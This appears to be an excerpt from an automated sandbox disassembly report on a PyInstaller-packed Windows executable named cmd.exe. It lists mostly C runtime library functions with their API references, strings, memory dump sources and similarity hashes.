Instruction Fuzzy Hash: 22217F73A1878682F620EB51F8417E6A394EF88384F800175EA8C43759DF7CE5458750

Function 00007FF70AF09AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF70AF09B1D
GetProcAddress.KERNEL32 ref: 00007FF70AF09B33
FreeLibrary.KERNEL32 ref: 00007FF70AF09B5A

Strings

mscoree.dll, xrefs: 00007FF70AF09B14
CorExitProcess, xrefs: 00007FF70AF09B2C

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 7365c7fd6484a1f6575abeb10856d5e041908d40f751d4fdb38c89511f200e69
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 16F0C263B0870681FB10AB24EC857799320EF49761FC406B5CA6E462E4DF2CF244C320

Function 00007FF70AF193D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF70AF19400
_set_statfp.LIBCMT ref: 00007FF70AF1941B
_set_statfp.LIBCMT ref: 00007FF70AF19437
_set_statfp.LIBCMT ref: 00007FF70AF19473

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: b7f261f52d7e68346e2de06795a83c56d642d4e0f3b57b87f360d0d87c195c49
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: E9114F63F5CA1301F6747124ECF6375A0447F59364E888AB4EA7E067DA8FACF94141E4

Function 00007FF70AF0B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF70AF0A613,?,?,00000000,00007FF70AF0A8AE,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0B41F
FlsSetValue.KERNEL32(?,?,?,00007FF70AF0A613,?,?,00000000,00007FF70AF0A8AE,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0B43E
FlsSetValue.KERNEL32(?,?,?,00007FF70AF0A613,?,?,00000000,00007FF70AF0A8AE,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0B466
FlsSetValue.KERNEL32(?,?,?,00007FF70AF0A613,?,?,00000000,00007FF70AF0A8AE,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0B477
FlsSetValue.KERNEL32(?,?,?,00007FF70AF0A613,?,?,00000000,00007FF70AF0A8AE,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0B488

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction ID: 512bef3470ef55ed39361f446a20dadbf207a56bc99f2d89b64f5fdfa67b4598
Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction Fuzzy Hash: 1E117C26F0C60281FA68BB21DE51979E1465F847B0FD883B4E83D866D6DF2CF9018320

Function 00007FF70AF0B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF70AF0B2A5
FlsSetValue.KERNEL32 ref: 00007FF70AF0B2C4
FlsSetValue.KERNEL32 ref: 00007FF70AF0B2EC
FlsSetValue.KERNEL32 ref: 00007FF70AF0B2FD
FlsSetValue.KERNEL32 ref: 00007FF70AF0B30E

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction ID: f7b4deea675e9d3c9158ca95c3f3f47830450184663674ee65b1bf29633fa205
Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction Fuzzy Hash: 2611F722E0920785FA6DB265DD52A7EA2424F45770FE847B4D93ECA2D2DF2CF8418331

Function 00007FF70AF06010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF06176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0622C

Strings

verbose, xrefs: 00007FF70AF06020

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 9b1bf69a63ec95d0ff0f5473cc336e868e018205b7781936fe91eb34afd42c60
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 0491BE23A08A4685FBA1AE24DC50B7DB391AF54B94FC44176DA59C73C5DFBCF4258320

Function 00007FF70AF0FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0FF17

Part of subcall function 00007FF70AF07AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF07AC9

Strings

UTF-8, xrefs: 00007FF70AF0FE96
UTF-16LEUNICODE, xrefs: 00007FF70AF0FEB5
ccs, xrefs: 00007FF70AF0FE52

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: cea054204bd09a42d1124978da5fb9ceb2354dab9776b7826d6975f41b508175
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 9B81CD33E0924386F7747E29CD00A78F6A0AF11B48FE580B5DA09C729ADB2DF945D721

Function 00007FF70AEFD6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70AEFD6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF70AEFD77A
RtlUnwindEx.KERNEL32 ref: 00007FF70AEFD7D4

Strings

csm, xrefs: 00007FF70AEFD761

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: 9cda086528c869ed6ed959db85c1e3fecad0506b03ebad8ad21036e0761a4546
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: 93519F33A196828AFB14BF15EC85A78AB95EF44B98FD04170DA4E47788EF7DE841C710

Function 00007FF70AEFF2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70AEFF320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF70AEFF408

Strings

csm, xrefs: 00007FF70AEFF342
csm, xrefs: 00007FF70AEFF45A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 6b5274bffe11efc9ecf9d73041aa658e4989a9e7094bf35be6789e5bed2345b4
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 96518E33A0828386FB64BE21D945268B6A0EF54B94FD482B5DA5D47795CF3CE850C711

Function 00007FF70AEFEF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF70AEFEFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF70AEFEFF3

Strings

RCC, xrefs: 00007FF70AEFEFC3
MOC, xrefs: 00007FF70AEFEFBB

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: cf20e3d6605833d33034983cc209f0c6c4d6080a276a98b9289822e08fb3ab30
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 0F619133908BC685EB60AB15E8413AAF7A0FF85B94F844265EB9C17B55DF7CE190CB10

Function 00007FF70AEF7E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF70AEF352C,?,00000000,00007FF70AEF3F23), ref: 00007FF70AEF7F22

Strings

%s%c, xrefs: 00007FF70AEF7E94
\, xrefs: 00007FF70AEF7E87
%.*s, xrefs: 00007FF70AEF7EDB

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: e6d8ffa678aefedd6ecf55b23c6f8e9544d91364f54e3045387ec137362d1bcc
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: C931D223619AC645FA21BB20EC517EAA354EF84BE4FC44271EA6D437C9DF3CE6458710

Function 00007FF70AEF2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF70AEF28EA

Strings

ERROR, xrefs: 00007FF70AEF286F
Error, xrefs: 00007FF70AEF28DD
[PYI-%d:%ls] , xrefs: 00007FF70AEF2868

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 577300b563743897b293d8ec270cd96a1726ddefebb4172232cfd68420051a18
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: F8217F63B08B4192F620EB54F8457EAB3A4EF88784F804136EA8D97755DF3CE649C750

Function 00007FF70AF0C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF70AF0C68F
WriteFile.KERNEL32 ref: 00007FF70AF0C957
WriteFile.KERNEL32 ref: 00007FF70AF0C99D
GetLastError.KERNEL32 ref: 00007FF70AF0CA53

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: e3439b7ebad138d05f08ed68bc43589925fa6b3bb7cfb0cd78a6bec946f5cce5
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 0CD1F073B08A818AFB10DF65D8406ACB7A1EB44798F808275DE5E97B99DF38E016C350

Function 00007FF70AF0F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70AF0FAEC
_get_daylight.LIBCMT ref: 00007FF70AF0FAFD
_get_daylight.LIBCMT ref: 00007FF70AF0FB0E
_isindst.LIBCMT ref: 00007FF70AF0FBD9

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 2ecdab026bf0ae0ec72edd5e9961e9064bbd2af6c9b963bdcd6094df18156d10
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: 0351D673F081128AFB24EF24DD55ABCA7A1AF40358F914175DE1E92AE5DB3CF4428710

Function 00007FF70AF057EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF70AF0581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF70AF05881
GetLastError.KERNEL32 ref: 00007FF70AF05912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF70AF05724), ref: 00007FF70AF0595E

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: f7d472fa0ab7fb858e34d7b51508e409ea92aef7c086cba2f52aa53d7f71aaf8
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 5A51AD23E086418AFB10EF71D8507BDA3A1BF48B98F948475DE0D97688DF78E441CB20

Function 00007FF70AEF20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF70AEF20F4
SetWindowLongPtrW.USER32 ref: 00007FF70AEF2116
GetWindowLongPtrW.USER32 ref: 00007FF70AEF2140
InvalidateRect.USER32 ref: 00007FF70AEF2160

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 67ec9ca8c9aac5dac2240bcafed91b841ab397454d372b8cfc6c479855f0ae3b
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 4C11CC23F1C14782FA54BB69ED452FA9251EF88780FC48170DB4907B99CF3DE9D58614

Function 00007FF70AF15B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70AF117D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF11803

_get_daylight.LIBCMT ref: 00007FF70AF15CA4
_get_daylight.LIBCMT ref: 00007FF70AF15CB5

Strings

?, xrefs: 00007FF70AF15C35

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: 2e09f346d99630f8c97a0bbb2454904ad2f4cb631d91d00360c50a896e91f34c
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: 8B41F813A1868246FB24AB25D84177AE690EFD0BA4F944275EF9C47BD5DF3CE442C710

Function 00007FF70AF09084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF090B6

Part of subcall function 00007FF70AF0A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9CE
Part of subcall function 00007FF70AF0A9B8: GetLastError.KERNEL32(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF70AEFCC15), ref: 00007FF70AF090D4

Strings

C:\Users\user\Desktop\cmd.exe, xrefs: 00007FF70AF090C2

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
